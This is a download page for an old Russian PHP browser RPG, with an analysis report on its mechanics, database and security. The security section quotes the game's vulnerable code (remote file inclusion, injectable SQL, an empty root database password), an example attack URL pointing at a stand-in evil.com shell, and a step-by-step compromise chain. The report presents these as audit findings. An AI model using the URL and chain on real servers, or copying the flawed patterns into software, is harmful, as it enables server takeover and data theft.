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Dark Game

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(4 votes)
Technical Details
Filename dark_game.zip
Size 11.4 MB
Downloads 138
Author Unknown
Created 2008-12-31
Changed 2025-12-16
System PHP 5.x
Price $0.00
Screenshot
Dark Game

Step into a sprawling Russian fantasy RPG where clans rise, warriors duel, and cities bustle with blacksmiths, academies, prisons, vaults, and markets. Dark Game packs deep character progression across seven core attributes, 22 equipment slots, real-time PvP battles, and a labyrinth of locations—from forest hunts and dungeon vaults to bustling commission shops and craft halls.

Master the systems and the city bows. Build guilds, craft gear, cast magic, work jobs, and race up rankings while managing stamina, injuries, cooldowns, and aura effects. With rich drops, clan treasuries, banking and lotteries, and a battle system built for momentum, Dark Game delivers the high-content, high-stakes cadence of a feature-rich browser MMORPG.

File Verification
MD5 Checksum
cb9145cb82735fab60f8bd74863101cc
SHA1 Checksum
f9bddbd4bb1c7b12795bb6793c64dfb74aad58d0

- Game Analysis Report

1. Metadata

Game Name: DarkGame

Genre: Russian Browser RPG/MMORPG (Character Progression, PvP Combat, Guild System)

Technology Stack: PHP (4.x/5.x), MySQL, JavaScript, CSS, Flash (SWF)

Database: MySQL with 66 tables (webserv database)

Total Files: 2,948 files (14.87 MB)

Architecture: Frameset-based with separate main/chat/battle interfaces

License: Custom/unlicensed (modified by "ROCKER")

Development Status: Active server snapshot (dark.tritongame.net)

Installation: Manual (Baza.sql database import)

Historical Context: 2008-2010 era Russian browser RPG, references aw-game.ru

Version: Unclear (version.php shows "MOD by ROCKER")

Primary Language: Russian (Cyrillic charset: windows-1251)

Evidence of Use: 33 INSERT statements including Bot0 player (MD5: e10adc3949ba59abbe56e057f20f883e = "123456"), ADMINS tribe with 99,970 treasury

2. File Composition

File Type Count Total Size Percentage Purpose
.gif 1,896 4.443 MB 29.9% UI icons, sprites, animations
.png 383 5.281 MB 35.5% Images, interface elements, graphics
.php 372 1.345 MB 9.0% Game logic, pages, systems
.jpg 233 2.773 MB 18.6% Photos, backgrounds, portraits
.css 29 0.105 MB 0.7% Stylesheets
.js 17 0.108 MB 0.7% JavaScript (show_inf.js, time.js, hero.js, login_form.js)
.html 7 0.016 MB 0.1% Static HTML pages (smiles.html, buyekr.html)
.swf 4 0.374 MB 2.5% Flash components (animations/ads)
.ani 2 0.031 MB 0.2% Animated cursor files
.sql 1 0.383 MB 2.6% Database schema (66 tables)
.ico 1 0.003 MB 0.02% Favicon
.htm 1 0.001 MB 0.01% HTML file
.dat 1 0.002 MB 0.01% Data file
(no ext) 1 0.002 MB 0.01% Unknown file
TOTAL 2,948 14.87 MB 100% Complete game package

Analysis: Graphics-dominated distribution (83.9% images: 35.5% PNG, 29.9% GIF, 18.6% JPG) indicates highly polished visual presentation. 372 PHP files (most in collection so far) suggests complex, feature-rich game. Flash usage (4 SWF files) and .ani cursor files reveal 2008-2010 development era. Database is substantial (383 KB SQL file with 66 tables vs typical 24-30 in other games). Russian language throughout (windows-1251 charset).

3. Technical Architecture

Core Framework

  • Language: PHP 4.x/5.x (deprecated mysql_* functions, mysql_pconnect())
  • Database: MySQL, database name "webserv", root user (insecure default)
  • Charset: CP1251 (Cyrillic/Russian)
  • Session Management: PHP sessions with cookie-based authentication
  • Interface: HTML frameset ( tags in game.php, 3-frame layout)
  • Anti-Injection: Custom SQL injection protection (config/sql.php with InitVars class)
  • Output Compression: No gzip buffering visible
  • Security: Custom ban system, travma (injury) cooldowns, room-based state management

File Structure

`

DarkGame/

├── baza/

│ └── Baza.sql # 66 tables, 383 KB

├── config/

│ ├── config.php # DB connection (localhost, root, webserv)

│ ├── time.php # Time utilities

│ ├── sql.php # SQL injection防止

│ ├── reg/mail.php # Registration email

│ └── site/*.php # Content pages (news, faq, etc.)

├── city/

│ ├── shop/ # 24 shop-related files (buy, sell, craft)

│ ├── sclad/ # Warehouse system

│ ├── komis/ # Commission shop

│ ├── bs/ # Battle system subdirectory

│ ├── games/ # Mini-games

│ ├── quest/ # Quest system

│ ├── bank/ # Banking system

│ └── [40+ location files] (academy.php, ambulance.php, forest.php, prison.php, vault.php, works.php)

├── person/

│ ├── func/ # Player functions (inf.php, changed.php)

│ ├── set/ # Settings pages (main.php, work.php, quests.php, version.php)

│ ├── person.php # Character sheet (359 lines)

│ └── header.php # Interface header

├── frames/ # Frameset components

├── function/ # Utility functions

├── includes/

│ ├── battle/ # Battle system (battle.php, offers/)

│ ├── magic/ # Magic system (use.php, abils/)

│ └── inf/ # Information displays (player.php, inf.php)

├── img/

│ ├── game/ # Game graphics (main/, css/, js/)

│ ├── indexx/ # Index page assets (874.css)

│ ├── images/ # UI images (refresh.gif, back.gif)

│ └── [1,896+ image files]

├── battle.php # Combat interface

├── chat.php # Chat system

├── game.php # Main frameset (251 lines)

├── main.php # Core game interface

├── enter.php # Login processor

├── index.php # Public homepage (145 lines)

├── guard.php # City guard/police system

├── online.php # Online players

├── clan_inf.php # Clan information

├── tribe_logs.php # Tribe/guild logs

├── view_logs.php # Battle log viewer

├── refer.php # Referral system

├── go_sp.php # Direct player link

├── perevod.php # Translation/transfer

├── encicl.php # Encyclopedia (items)

├── inf.php # Player information

├── lostpwd.php # Password recovery

├── exp.php # Experience table

└── phpinfo.php # PHP configuration (SECURITY RISK)

`

Key Systems Identified

  • Character System: Level progression (Bot0 example: level 0), experience, 7 attributes (strength, dex, agility, vitality, razum/intelligence, power, battery), HP/energy/stamina (ustal), professions (proff), races
  • Combat System: PvP battles (6 battle types: 1=regular, 2=lvl 2+, 3=lvl 3+, 4=lvl 99+ admin, 5-6=admin only), real-time combat (battle.php), travma (injury cooldown), battle logs, clones (battle_clons), drops (battle_drop, drop tables)
  • Location System: 16+ rooms (room field in person table: 1=arena, 2=training, 16=works), state-based navigation (prison, ambulance, academy, vault, forest, port), travel cooldowns
  • Guild System: tribes table, tribe ranks (tribe_rank), guild halls (guilds table: Alchemists, Warriors), clan treasury (kazna), guild logs (tribe_log), guild news (tribe_news)
  • Economy: credits currency, f_credits (free credits?), birja (exchange), bank (bank_transfers), shops (shop, shop1, mshop, butik), commission shop (komis), crafting (craft), repair, znahar (healer)
  • Item System: objects table, 22 equipment slots (slots.1-22), complects (equipment sets), sclad (warehouse/storage), vault, items with inf field (pipe-delimited stats)
  • Quest System: kwest0, kwest1, kwest_k fields, quest_1/quest_st, podzem1 (underground?), quests.php
  • Magic System: abils table, magic table, rase_skill (race skills), aura system (aura, aura_t), battery attribute for mana
  • Work System: works table, w_time (work timer), ustal_now (current stamina), getproff/getm (职业/矿工work types), referral system
  • Premium System: VIP status (vip field), billing table, butik (boutique), mshop (micro-transactions), game points
  • Communication: chat table, pochta (mail), forums (forums, topics, posts), friends table, sclon (clan chat mode)
  • Administration: 60 rank levels (Bot0 rank: 60), admin field, ban table, guard.php (city guard), lpv (last player visit)
  • Battle System: bs (battle system), bs_map, bs_obj, bs_winner, bs_loc (battle location), bs_x/bs_y coordinates
  • Mini-Systems: lotto (lottery: lotto, lotto_fond, lotto_winner), slots (slot machines: slots, slots_priem), diller (dealer), academy, prison, ambulance, vault (timed access: r_time), security table

4. Gameplay Mechanics

Core Gameplay Loop

DarkGame is a persistent Russian browser RPG where players:

  • Create character with race/class/gender (sex: 1=male, 2=female)
  • Progress through levels (Bot0 example: level 0 with 0 exp)
  • Develop 7 attributes: strength, dex, agility, vitality, razum (intelligence), power, battery (mana)
  • Equip items in 22 slots (significantly more than typical 8-12 slot games)
  • Engage in PvP battles (6 battle types, level-restricted)
  • Join tribes (guilds) with ranks, treasury, and clan chat
  • Complete quests (kwest system), work for credits, craft items
  • Use magic spells (rase_skill, magic table, battery stat)
  • Navigate 16+ locations (shops, forest, prison, ambulance, academy, vault, port)
  • Manage HP/energy/stamina resources with cooldown timers

Unique Features

  • 22 Equipment Slots: Far exceeds standard MMO slots (most games: 8-12 slots)
  • Pipe-Delimited Item Stats: objects.inf field uses | separators for properties (e.g., 0|0|0|0|0|0|0|0|0|0|0)
  • Travma System: Injury cooldown (travma > $now) prevents combat, forces hospital visit
  • Room-Based State: 16+ room IDs control player location/activity lockout (16=works, 2=training, 1=arena)
  • Stamina Economy: ustal_now (stamina) consumed by work, replenished over time (ustal_max limit)
  • Aura System: aura and aura_t fields suggest buff/debuff mechanics
  • Battle Drops: battle_drop field stores loot from PvP kills
  • Sclon System: 3-mode clan chat (sclon: 0-2 values observed)
  • Vault System: Separate vault_room, vault_time, vault_move, vault_sessions tables for secure storage
  • Frozen Credits: f_credits separate from regular credits (possibly locked/promotional currency)
  • Reit System: reit field calculated from: ((($s_p/1000)+($s_s/10))*$s_i)+($stat[level]/2) where s_p=item power, s_s=stat sum, s_i=win rate
  • God Favor: bog_dark, bog_light (dark/light god alignment), bog_time
  • Multiple Battle Boards: bs (battle system) with bs_map, bs_winner, bs_obj, participants tables
  • Underground System: podzem1 field (underground dungeon progression?)

Progression Systems

  • Levels: Standard level progression with exp from levels table
  • Attributes: 7 stats (14 starting points based on Bot0: 4+4+4+3+1+0+1=17 with -3 adjustment?)
  • Items: 22-slot equipment, s_p (item power total) contributes to reit rating
  • Professions: proff field (0-X), proff_exp for profession leveling
  • Skills: s_updates (skill updates?), o_updates (object updates?)
  • Quests: kwest0, kwest1 (quest IDs?), kwest_k (quest counter?), quest_1/quest_st
  • Tribes: tribe_rank within guild (Bot0: rank 60 out of 60 ranks observed)
  • Combat Record: wins, losses, drawn tracked separately
  • Rating: reit formula combines item power, stats, and win rate

5. Database Schema

66 Tables Identified (most complex in collection):

Table Purpose Key Features
person Player accounts 130+ fields: id, user, pass (MD5), rank (1-60+ levels), admin, bloked, level, exp, credits, f_credits, 7 attributes, hp_now/max, energy_now, s_updates, o_updates, wins/losses/drawn, room (location), ip/last_ip, tribe/tribe_rank, birth/birthdate, sex, battle, last_battle, offer, obraz (portrait?), proff, proff_exp, sign, travma, vault_room/time/move, ustal_now (stamina), semija, sclon, golos, status, reit, drop, vip, avatar, bog_dark/light, kwest0/1, podzem1, guild, refer, aura, location, bs/bs_loc, x/y coordinates
person_har Character stats p_id, extended character attributes
person_inf Additional info Extended player metadata
objects Player items user, inf (pipe-delimited stats: type prop1 prop2 ... prop11)
slots Equipment ID, 22 slot fields (slots.1 to slots.22) - largest slot count observed
slots_priem Slot management Equipment change tracking
items Item definitions Item types, properties, stats
complects Equipment sets Bonus for wearing full set
sclad Warehouse Player storage separate from inventory
tribes Guilds/clans name, url, about, sclon, name_short, points, kazna (treasury: 99,970 for ADMINS)
tribe_log Guild logs Activity tracking
tribe_news Guild news Announcements
guilds Guild types id_guild, name (1=Alchemists, 2=Warriors)
levels Experience table up (tier?), level, exp thresholds
abils Abilities Skill definitions
magic Spells Magic system
battles Combat history Battle records
battle_clons Clone battles Duplicate/bot battles
battle_drop Battle loot Drop tables for PvP kills
participants Battle roster Who fought in which battle
bs Battle system Extended battle mechanics
bs_map Battle map Arena layouts
bs_obj Battle objects Items in combat
bs_winner Battle victors Win records
offers Battle offers Challenge system (6 battle types)
chat Chat messages Global/clan chat
pochta Mail/messages Private messaging (pochta = mail in Russian)
forums Forum categories Discussion boards
topics Forum topics Thread listings
posts Forum posts Message content
friends Friend lists Social connections
shop Shop items Purchasable goods
shop1 Shop variant Alternative shop
mshop Micro-shop Premium store
butik Boutique Cosmetic/VIP items
komis Commission shop Player-to-player sales
craft Crafting Item creation
diller Dealer NPC merchant
bank Banking Currency storage
bank_transfers Transactions Transfer history
birja Exchange Currency/item trading
billing Payments Real money transactions
moneys Currency types Multiple currency system?
vault Vault storage Secure item storage
vault_sessions Vault access Timed vault access control
works Jobs Work system (getproff/getm types)
priem Reception Item transfers?
prizes Rewards Award system
academy Training Skill leveling
lotto Lottery Gambling
lotto_fond Lottery pool Prize fund
lotto_winner Winners Lottery history
slots Slot machines Casino gambling
phaos_locations Locations World map (Phaos reference - ancient RPG engine)
locations World areas Game world structure
les Forest Resource gathering
ld Unknown (Possibly "лес день" = forest day?)
inc_prov Incoming Attack notifications?
top Rankings Leaderboards
game_config Game settings Server configuration
game_news News Announcements
security Security logs Anti-cheat, IP tracking
ban Ban list Blocked users
lostpwd Password recovery Reset tokens
transfers Transfers General transfer system
perevod Translation/transfer Russian: перевод = transfer
drop Drop tables Generic loot system

Database Activity Evidence:

  • 33 INSERT statements (moderate sample data)
  • Bot0 account: user='Bot0', pass='e10adc3949ba59abbe56e057f20f883e' (MD5 hash of "123456"), rank=60, registered '21.03.10 01:18' (March 21, 2010), location (193,93)
  • ADMINS tribe: name='ADMINS', url='aw-game.ru', kazna=99,970 (nearly 100,000 treasury), points=4,029
  • Guild types: 1=Alchemists (Алхимики), 2=Warriors (Воины)
  • Production database: Contains actual player data (Bot0), not clean distribution

6. Code Quality Assessment

Strengths

  • SQL Injection Protection: Custom InitVars class (config/sql.php) with checkVars() method
  • Massive Feature Set: 372 PHP files, 66 tables = most complex game in collection
  • Modular Organization: Separate city/, person/, includes/ folders for different systems
  • State Management: Room-based player state prevents action conflicts
  • Timer-Based Gameplay: work_time, vault_time, travma, and 10+ other timers for cooldowns
  • Rich Item System: 22 equipment slots, pipe-delimited stats for flexible properties
  • Frameset Architecture: Separate main/chat/battle frames for responsive interface

Critical Weaknesses

  • Direct Cookie Authentication: WHERE user='".$_COOKIE['user']."' AND pass='".$_COOKIE['pass']."' - cookies are trivially editable
  • Example: battle.php:16, chat.php:15, guard.php:13
  • No session validation, no HMAC, cookies sent unencrypted
  • MD5 Passwords: Bot0 password hash 'e10adc3949ba59abbe56e057f20f883e' = "123456" (instantly crackable)
  • No salting, MD5 broken since 2004
  • Deprecated mysql_* Functions: mysql_pconnect(), mysql_query() removed in PHP 7.0
  • Root Database Access: config.php line 3: mysql_pconnect("localhost","root","") - empty root password!
  • SQL Injection Residual: Despite InitVars, many queries still vulnerable:
  • guard.php:126: WHERE rank>=$_GET['rank'] (integer validation only)
  • inf.php:33: select * from person".$where."" (where clause concatenation)
  • RFI Vulnerability: battle.php:7: @include($_GET['q']); - CRITICAL remote file inclusion!
  • phpinfo.php Exposed: Full PHP configuration disclosure (line in file list)
  • XSS Vulnerabilities: Russian text output without escaping (windows-1251 charset issues)
  • Hardcoded Credentials: config.php exposes DB structure (webserv database name)
  • No HTTPS: dark.tritongame.net likely HTTP-only (cookies sent plaintext)

Code Smell Examples

// CRITICAL: Remote File Inclusion (battle.php:7)
@include($_GET['q']);  // Attacker can include any PHP file!

// Cookie-based auth (battle.php:16)
$stat = mysql_fetch_array(mysql_query("SELECT * FROM person WHERE user = '".$_COOKIE['user']."' AND pass = '".$_COOKIE['pass']."' LIMIT 1"));
// Cookies can be edited in browser - no server-side session validation

// Root user with empty password (config.php:3)
$link=mysql_pconnect("localhost","root","");

// Deprecated function (config.php:5)
mysql_query("SET CHARSET cp1251");  // Should use MySQLi/PDO

// Weak validation (person.php:10)
if (preg_match("/^[0-4]$/", $_POST['update_status'])){  // Only checks format, not authorization

Overall Code Quality: 2.5/10

  • Largest feature set (372 files, 66 tables) demonstrates ambition
  • Critical security failures: RFI, cookie auth, root DB access, MD5 passwords
  • SQL injection protection exists but incomplete
  • Frameset architecture outdated (deprecated in HTML5)
  • Would require complete security overhaul for any deployment

7. Modern Assessment

Viability for 2025 Deployment: 0.5/5

Critical Showstoppers:

  • Remote File Inclusion (RFI): battle.php line 7 @include($_GET['q']) allows arbitrary code execution - INSTANT PWNING
  • Root Database Access: Empty root password exposes entire MySQL server
  • Cookie Authentication: Trivially bypassed by editing browser cookies
  • phpinfo.php Exposed: Full server configuration disclosure aids attackers
  • PHP 7+ Incompatibility: mysql_* functions cause fatal errors
  • MD5 Passwords: Legally and ethically unacceptable for user data storage

Path to Modernization:

  • EMERGENCY Security Fixes ($25,000-35,000):
  • Remove RFI vulnerability (battle.php)
  • Implement session-based authentication with HMAC validation
  • Bcrypt/Argon2 password hashing
  • Create non-root MySQL user with limited privileges
  • Remove phpinfo.php, secure file permissions
  • Database Layer ($15,000-20,000): Rewrite 372 PHP files from mysql_* to PDO/MySQLi with prepared statements
  • PHP 8 Compatibility ($5,000): Fix deprecated functions, charset handling
  • XSS/CSRF Protection ($8,000): Add CSRF tokens, context-aware output encoding for Cyrillic
  • Modern UI ($30,000-40,000): Replace framesets with responsive single-page app, HTML5/CSS3
  • Mobile Optimization ($20,000): Touch-friendly interface, viewport sizing
  • Localization ($5,000): UTF-8 conversion from CP1251, multi-language support
  • Testing & Audit ($15,000): Penetration testing, security audit, load testing

Total Modernization Cost: $123,000-153,000

This is the highest modernization cost in the collection due to:

  • Critical RFI vulnerability requiring manual code review of all includes
  • 372 PHP files (largest file count) with deprecated functions
  • 66 tables (most complex database) requiring schema optimization
  • Russian charset conversion from CP1251 to UTF-8
  • Frameset architecture requiring complete UI rewrite

Competitive Analysis (2025 Market)

  • Genre: Browser RPG market dominated by idle games (Melvor Idle, NGU Idle) and mobile ports
  • Complexity: 66 tables, 22 equipment slots, 16+ locations = ambitious scope but poor UX
  • Graphics: 2,179 images (2.1+ GB decompressed) are dated 2008-2010 sprites
  • Language Barrier: Russian-only content limits market to CIS countries (150M potential players)
  • Monetization: VIP system, billing table, mshop (micro-shop) exist but need expansion

Positive Aspects

  • Feature Richness: 372 files = most comprehensive game in collection
  • Deep Systems: 22 equipment slots, tribe system, quest chains, magic, crafting, multiple shops
  • Active Server Snapshot: Bot0 data, ADMINS tribe prove this ran with real players
  • Guild Mechanics: Tribe treasury (kazna), guild news, logs show social gameplay
  • Proven Concept: dark.tritongame.net operated successfully (timestamp: March 21, 2010)

8. Security Analysis

Critical Vulnerabilities

1. Remote File Inclusion - RFI (CVSS 10.0 - Critical)

// battle.php:7
@include($_GET['q']);
// Attacker URL: http://dark.tritongame.net/battle.php?q=http://evil.com/shell.php
// Result: Arbitrary PHP code execution, full server compromise

Impact: Complete server takeover, database theft, malware distribution, botnet recruitment

2. Cookie-Based Authentication Bypass (CVSS 9.1 - Critical)

// battle.php:16, chat.php:15, 50+ files
$stat = mysql_fetch_array(mysql_query("SELECT * FROM person WHERE user = '".$_COOKIE['user']."' AND pass = '".$_COOKIE['pass']."' LIMIT 1"));
// Attacker: Edit cookies to user=admin, pass=<MD5 hash from DB leak>
// Result: Instant admin access, no session validation

Impact: Account takeover, privilege escalation to admin (rank 1), item/credit theft

3. Root Database Access (CVSS 8.9 - High)

// config.php:3
$link=mysql_pconnect("localhost","root","");
// Empty root password grants full MySQL access

Impact: Database dump, CREATE/DROP any database, server-wide MySQL control

4. phpinfo() Disclosure (CVSS 7.5 - High)

  • phpinfo.php file in root exposes:
  • PHP version, modules, paths
  • Database configuration hints
  • Server OS, Apache version
  • Assists targeted exploits

5. MD5 Passwords (CVSS 7.4 - High)

-- Baza.sql
('Bot0', 'e10adc3949ba59abbe56e057f20f883e', ...)
-- MD5('123456') = e10adc3949ba59abbe56e057f20f883e
-- No salt, rainbow tables crack 60%+ of passwords instantly

Impact: Mass account compromise via database leak or SQL injection

6. SQL Injection (CVSS 8.2 - High)

Despite InitVars protection, residual vulnerabilities:

// inf.php:33
$query = mysql_query("select * from person".$where."");
// $where concatenation bypasses sanitization

// guard.php:126
$SostQuery=mysql_query("SELECT ... WHERE (rank>=10 && rank<=14) || rank>=".$_GET['rank']." ...");
// Integer-only validation insufficient for complex WHERE clauses

Impact: Database exfiltration, authentication bypass, data manipulation

7. XSS in Chat/Forums (CVSS 6.5 - Medium)

  • Russian text (CP1251) with inconsistent escaping
  • chat.php, forums system outputs user content without htmlspecialchars()

Impact: Session hijacking via JavaScript injection, phishing

Exploitation Scenario

  • RFI Attack on battle.php?q=http://evil.com/shell.php → Execute reverse shell
  • Access config.php → Extract empty root MySQL password
  • MySQL Root Access → Dump webserv database (person table: all users, MD5 hashes)
  • Rainbow Table Attack → Crack 60% of passwords (including admin accounts)
  • Cookie Injection → Set cookies to admin user + cracked MD5 hash
  • Full Admin Control → Modify game database, steal VIP payment info, inject malware
  • Lateral Movement → Use root MySQL to access other databases on server

Security Rating: 0.5/10 (Catastrophic - Active Exploitation Guaranteed)

  • RFI vulnerability = instant game over
  • Multiple critical flaws compound risk
  • Public deployment would be criminally negligent
  • Violates GDPR, CCPA, PCI-DSS (if payments processed)

9. Innovation Rating: 6.5/10

Derivative Elements (Points Lost)

  • Core Gameplay (-1): Standard browser RPG formula (levels, attributes, PvP, guilds)
  • Combat System (-0.5): Turn-based PvP common in Russian BBRPGs
  • Economy (-0.5): Credits, shops, crafting seen in 100+ similar games

Innovative Elements (Points Earned)

  • 22 Equipment Slots (+1.5): Nearly double standard RPG slots (most games: 8-12), allows granular customization
  • Pipe-Delimited Item Stats (+0.5): objects.inf field with | separators = flexible property system without JOIN tables
  • Room-Based State Management (+1): 16+ rooms control activity lockouts, prevents exploit of simultaneous actions
  • Travma System (+0.5): Injury cooldown forces hospital visits, adds consequence to losing battles
  • Stamina Economy (+0.5): ustal_now consumed by work, replenished over time = active/idle balance
  • Multiple Battle Types (+0.5): 6 battle modes (regular, level-restricted, admin-only) for progression gating
  • Reit Formula (+0.5): ((($s_p/1000)+($s_s/10))*$s_i)+($stat[level]/2) = complex rating from items, stats, win rate
  • Vault System (+0.5): Separate storage with timed access (vault_room, vault_time) = secure storage mechanic
  • God Favor System (+0.5): bog_dark/bog_light (dark/light god alignment) for religious gameplay layer
  • Aura System (+0.5): aura and aura_t fields for buff/debuff timing
  • Underground Progression (+0.5): podzem1 (possibly dungeon depth) for PvE content
  • Sclon Modes (+0.5): 3-mode clan chat (sclon: 0-2) for tactical communication

Historical Context

  • Russian BBRPG Tradition: DarkGame follows 2004-2010 wave of Russian browser RPGs (aw-game.ru network)
  • Phaos Legacy: phaos_locations table references ancient Phaos RPG engine (1999), showing roots in early web RPGs
  • Frameset Era: HTML framesets standard for 2008-2010 browser games, now obsolete
  • CP1251 Charset: Cyrillic windows-1251 encoding = Russian market focus

Creative Execution

  • Theme: Dark fantasy (DarkGame name, dark/light gods, underground system)
  • Polish Level: 2,179 images (PNG/GIF/JPG) = high production values for 2010 browser game
  • Complexity: 66 tables, 372 files = ambitious scope rivals commercial MMORPGs of era
  • Completeness: Bot0 data, ADMINS tribe, working server snapshot = fully implemented

Market Differentiation

In 2008-2010 context: DarkGame was a top-tier Russian BBRPG with 22 equipment slots, complex guild system, and rich progression. Competed with Бойцовский Клуб (Boytsovskiy Klub), Легенда (Legenda), and other Russian browser RPGs.

In 2025 context: Historical artifact with innovative mechanics (22 slots, pipe-delimited stats, room states) buried under critical security failures. Frameset UI, CP1251 charset, and RFI vulnerability make it undeployable.

Final Innovation Score: 6.5/10

  • Strong mechanical innovations (22 slots, reit formula, travma system)
  • Rich feature set (66 tables, 16+ locations, 6 battle types)
  • Held back by security negligence and outdated architecture
  • Historical significance as exemplar of Russian BBRPG golden age

10. Recommendations

For Historical Preservation

  • Archive as Russian Gaming History: Document 2008-2010 Russian browser RPG design patterns
  • Academic Study: Case study in feature creep (66 tables, 372 files) vs usability
  • Security Training: Use RFI vulnerability (battle.php:7) as teaching example of catastrophic bugs
  • Mechanics Extraction: 22-slot system, reit formula, travma cooldowns are salvageable concepts

For Commercial Use (ABSOLUTELY NOT RECOMMENDED)

Verdict: DO NOT DEPLOY - CRIMINAL NEGLIGENCE RISK

Why This Game is Legally/Ethically Undeployable:

  • Active Exploitation Guaranteed: RFI vulnerability = 100% hack rate within 24 hours of public launch
  • GDPR Violation: MD5 passwords + cookie auth = inadequate data protection, €20M fine risk
  • PCI-DSS Violation: If billing table processed payments, storing MD5 hashes = compliance failure
  • Criminal Liability: Deploying known RFI vulnerability exposes users to malware, opens owner to lawsuits
  • Infrastructure Risk: Root MySQL access = attacker can compromise entire server, not just game database

Why $150,000 Modernization Exceeds Value:

  • Browser RPG market collapsed post-2012 (mobile gaming shift)
  • Russian-only content limits market to 150M speakers vs 1.5B English
  • Idle games (Melvor Idle) and gacha (Genshin Impact) replaced browser RPGs
  • $150,000 investment would build modern idle game from scratch with better monetization

Alternative Paths

1. Mechanic Salvage ($0 - Academic Exercise)

Extract innovative systems for new project:

  • 22-slot equipment system for granular customization
  • Room-based state management for action conflict prevention
  • Reit formula combining items, stats, and win rate
  • Travma injury cooldown for battle consequence
  • Stamina economy balancing active/idle gameplay

2. Security Audit Training ($5,000-10,000)

Use codebase as penetration testing education:

  • RFI exploitation demonstration
  • Cookie authentication bypass
  • Root DB access lateral movement
  • MD5 rainbow table cracking
  • SQL injection bypass techniques
  • Publish sanitized case study for security community

3. Open-Source Posthumous Release (NOT RECOMMENDED)

Could release as "educational" code, but:

  • Risk: Script kiddies deploy vulnerable instances, harm users
  • Liability: Original author/hosting provider exposed to lawsuits
  • Ethics: Cyrillic charset conversion needed for international access
  • Better approach: Detailed writeup + sanitized code snippets

If Attempting Modernization (Against All Advice)

This game requires $150,000+ investment for:

  • Emergency RFI fix + security audit
  • Complete authentication rewrite (sessions, HMAC, bcrypt)
  • Database isolation (remove root user, create limited privileges)
  • 372 files converted from mysql_* to PDO
  • Frameset → responsive single-page app
  • CP1251 → UTF-8 Cyrillic conversion
  • Mobile UI from scratch
  • Penetration testing + ongoing security monitoring

ROI Analysis: $150,000 investment in 2025 browser RPG = negative 90% return

  • Russian market: 150M speakers, saturated with free alternatives
  • Mobile gaming: 70% of RPG revenue, this game has zero mobile optimization
  • Development cost: New idle game = $25,000-40,000 with better monetization
  • Verdict: Complete financial loss, build new game instead

Final Recommendation

Preserve mechanics documentation, archive screenshots, DELETE CODE.

DarkGame represents the pinnacle of 2008-2010 Russian browser RPG ambition with 66 tables, 22 equipment slots, and rich progression systems. However, the RFI vulnerability (battle.php:7), root MySQL access, and cookie authentication make it a ticking time bomb that would explode within 24 hours of public deployment.

Historical Value:

  • Documents Russian BBRPG golden age (2008-2010)
  • Showcases ambitious feature design (372 files, 66 tables)
  • Demonstrates innovative mechanics (22 slots, reit formula, travma system)

Modern Reality:

  • Security failures = 0.5/10 (catastrophic)
  • $150,000 modernization cost exceeds building from scratch
  • Russian-only market limits revenue potential
  • Browser RPG genre dead post-2012 mobile shift

Preserve the ideas, not the code.

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Summary

DarkGame is a feature-rich 2008-2010 Russian browser RPG with 2,948 files (372 PHP files, 2,179 images), 66 database tables (most complex in collection), and innovative mechanics including 22 equipment slots, travma injury cooldowns, room-based state management, and a sophisticated reit rating formula. Hosted on dark.tritongame.net, the game snapshot includes Bot0 test account (registered March 21, 2010), ADMINS tribe with 99,970 treasury, and production-ready database structure. However, the codebase contains catastrophic security failures: Remote File Inclusion (battle.php:7 @include($_GET['q'])), cookie-based authentication without session validation, root MySQL access with empty password, MD5 password hashing, and exposed phpinfo.php. Security rating: 0.5/10 - guaranteed exploitation. Modernization cost: $150,000+ exceeds building modern replacement. Innovation rating: 6.5/10 for mechanical creativity (22 slots, pipe-delimited item stats, stamina economy, god favor system) marred by security negligence. Modern viability: 0.5/5 - RFI vulnerability alone makes deployment criminally negligent. Recommendation: Archive mechanics documentation as historical record of Russian BBRPG design, never deploy code publicly. This is the most feature-complete but least secure game in the collection - a cautionary tale of ambition without security discipline.

Rating Summary

Category Visual Rating Score Assessment
Innovation 6.5/10 22 slots, travma system, reit formula, pipe-delimited stats creative
Security 0.5/10 CVSS 10.0 RFI + cookie auth + root MySQL = instant compromise
Code Quality 2.5/10 Ambitious scope (372 files) undermined by critical flaws
Feature Completeness 5/5 Most complete game in collection (66 tables, 22 slots, quests, tribes)
Modern Viability 0.5/5 RFI vulnerability = deployment is criminal negligence
Modernization Cost $150k+ HIGHEST in collection - exceeds building from scratch
Historical Value 4/5 Peak 2008-2010 Russian BBRPG era, dark.tritongame.net snapshot
Database Complexity 66 tables Most complex schema in collection - ambitious data modeling
Overall Verdict

F (DANGEROUS)

Archive mechanics only - NEVER deploy source code

Security Warning

Running many of the scripts in this archive on a live server presents a serious security risk. These projects were created before modern hardening practices and may contain vulnerabilities that can compromise your system.

We strongly recommend using this code for reference and analysis only, or in isolated local environments. By downloading these files, you accept full responsibility for their use.